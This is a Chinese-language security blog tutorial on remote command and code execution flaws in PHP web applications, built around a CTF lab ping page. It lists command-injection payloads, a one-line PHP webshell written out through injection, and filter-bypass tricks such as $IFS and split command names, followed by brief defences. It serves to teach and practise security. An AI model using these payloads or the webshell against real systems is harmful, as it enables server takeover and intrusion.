WEB漏洞——RCE
2021-09-10 15:39
344 查看
RCE(remote command/code execute)远程命令/代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE漏洞
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、 shell_exec、 passthru、 popen、 proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞
拼接命令时需要用到管道符
Windows管道符
- | :直接执行后面的语句。例如ping 127.0.0.1|whoami
- || :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。例如ping 2||whoami
- & :两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如ping 2&whoami
- && :如果前面的语句为假则直接出错,也不执行后面的话句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami
Linux管道符
- ; :执行完前面的语句再执行后面的语句。例如ping 127.0.0.1;whoami
- | :显示后面语句的执行结果。例如ping 127.0.0.1|whoami
- || :当前面的语句执行出错时,执行后面的语句。例如ping 2||whoami
- & :两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。例如ping 2&whoami
- &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami
命令执行漏洞攻击演示
下面拿ctfhub中的命令注入靶场演示
是一个简单的ping网站的页面,输入ip进行ping命令,
输入ip没什么问题返回了结果,但是如果利用管道符拼接一些其他的系统命令例如whoami
成功执行了其他的系统命令
代码执行漏洞攻击演示
也可以利用系统命令写入一句话木马
127.0.0.1&echo "<?php @eval(\$_POST['test']);?>" > 1.php
至于一句话木马为什么要加 \ ,看了网上的回答。echo命令会调用$_POST导致原始文件中没有,因此需要改为echo "<?php @eval(\$_POST['test']);?>" > 1.php即可
写入一句话木马之后,接下来用蚁剑连接即可
命令执行绕过过滤
这里就列出几个常见的,可以举一反三
- 过滤cat
拼接绕过:127.0.0.1;a=c;b=at;$a$b rce.php或者
127.0.0.1;a=c;b=at;${a}${b} rce_ping.php
单引号和双引号绕过:比如:ca''t flag 或ca""t flag
- ; | & 符号过滤
用%0a(回车)%0d(换行)来代替上面的符号。
- 过滤空格
< 、<>、%20(空格)、%09(tab键)、$IFS$9、 ${IFS}、$IFS等
防御RCE攻击
- 尽量不要使用命令执行函数。
- 客户端提交的变量在进入执行命令函数前要做好过滤和检测
- 在使用动态函数之前,确保使用的函数是指定的函数之ー。
- 对PHP语言来说,不能完全控制的危险函数最好不要使用
相关文章推荐
- 攻防世界web进阶区php_rce--Thinkphp5.x命令执行漏洞
- 网络安全Web篇(三)(文件上传漏洞)
- CTF Web php://filter文件内容包含漏洞
- Android安全开发之WebView漏洞及建议
- Ewebeditor最新漏洞及漏洞大全
- web上存漏洞及原理分析、防范方法
- web上存漏洞及原理分析、防范方法(文件名检测漏洞)
- android webview填漏洞
- 利用ewebeditor漏洞来攻击网站
- Android中WebView跨域漏洞分析和应用克隆问题情景还原(免Root获取应用沙盒数据)
- apk漏洞记录1:伪加密+设备管理器不可删+webview漏洞
- Web 应用程序常见漏洞 CSRF 的入侵检测与防范
- Web 安全恩仇录:再谈逻辑漏洞
- 渗透测试之web漏洞分析——预习dwva靶机系统
- 识别常见Web应用安全漏洞进行有效防止
- Web开发常见的几个漏洞解决方法
- CTF web题总结--php函数漏洞
- web漏洞-XSS
- 浅谈web上存漏洞及原理分析、防范方法(安全文件上存方法)
- Web 安全 PHP 代码审查之常规漏洞